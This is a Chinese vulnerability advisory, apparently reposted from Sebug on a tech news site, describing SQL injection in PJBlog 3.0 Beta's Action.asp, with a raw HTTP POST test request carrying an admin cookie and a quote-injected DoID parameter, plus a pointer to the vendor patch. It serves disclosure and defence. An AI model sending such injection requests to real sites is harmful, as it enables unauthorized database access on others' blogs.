PJBlog博客系统后台Action.aspSQL注入缺陷

安全 漏洞
SQL注入##远程攻击##立即处理[msg]PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,PJBlog同时支持简繁中文,UTF-8编码,相对于其他系统,PJBlog具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。 在文件control/ Action.aspp中。

影响版本:

3.0 Beta漏洞描述:

PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,PJBlog同时支持简繁中文,UTF-8编码,相对于其他系统,PJBlog具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。
在文件control/ Action.aspp中。

变量moduleID,GetPlugName,KeyWordID,smilesID,LinkID,mem_ID,doCommID,selCommID,TagsID,DelCate没有过滤放入sql语句导致注入漏洞的产生。

<*参考  无 *>

测试方法:

[www.sebug.net]

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!POST /ConContent.asp HTTP/1.1

Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,

application/vnd.ms-excel, application/vnd.ms-powerpoint, */*

Referer: http://127.0.0.1:103/ConContent.asp?Fmenu=Categories

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)

Host: 127.0.0.1:103

Content-Length: 101

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PJBlog3Setting=ViewType=normal;

PJBlog3=memRight=111111111111&memName=admin&memHashKey=01c1dc172188d12f917e6c2492e787d43ce0966c;

ASPSESSIONIDQAABRAAQ=LAJBLBADFALCDBPMDPHHNCGL; ASP.NET_SessionId=052531uhossk1155ks5dm245;CheckCode=4633B8B4FA46833C; ASPSESSIONIDCABCSCDT=ICDNLLBDEBHJHCMNKBICIECH;ASPSESSIONIDQABBRABQ=IPGLOPCDNGMADODNDNMDLALO

action=Skins&whatdo=delModule&DoID=1%27&Submit=%E4%BF%9D%E5%AD%98%E6%97%A5%E5%BF%97%E5%88%86%E7%B1%BB

SEBUG安全建议:

PJblog


目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bbs.pjhome.net/thread-48122-1-1.html

【编辑推荐】

  1. 重新审视企业IPS的应用:防御SQL注入攻击的利剑
  2. SQL注入攻击及其防范检测技术研究
  3. 安全技巧:学会检查SQL注入式攻击漏洞
责任编辑:安泉 来源: 安全中国
相关推荐

2015-01-04 09:11:20

PJBlog云博客云平台

2009-02-21 11:14:12

2011-03-03 17:03:04

零缺陷系统

2009-08-18 13:46:20

2012-05-25 13:18:15

Windows 8重启

2023-06-30 09:42:23

自动驾驶技术

2022-09-19 14:13:15

RabbitMQ系统开发

2012-05-17 15:10:06

微软

2009-07-31 16:35:15

ibmdwRational

2009-08-06 08:36:58

Windows 7内存泄露系统崩溃

2023-05-26 18:54:02

开源博客系统

2009-09-29 11:03:07

SaveNewOrdeStruts框架

2009-07-16 16:08:30

WebWork Act

2009-06-06 18:43:34

JSP Action

2011-03-02 17:48:59

2010-10-20 14:23:28

SQL Server复

2023-11-20 17:38:07

Djangoagtailadmin

2009-12-29 17:30:46

Silverlight

2011-07-22 14:14:23

java

2010-10-22 15:09:39

点赞
收藏

51CTO技术栈公众号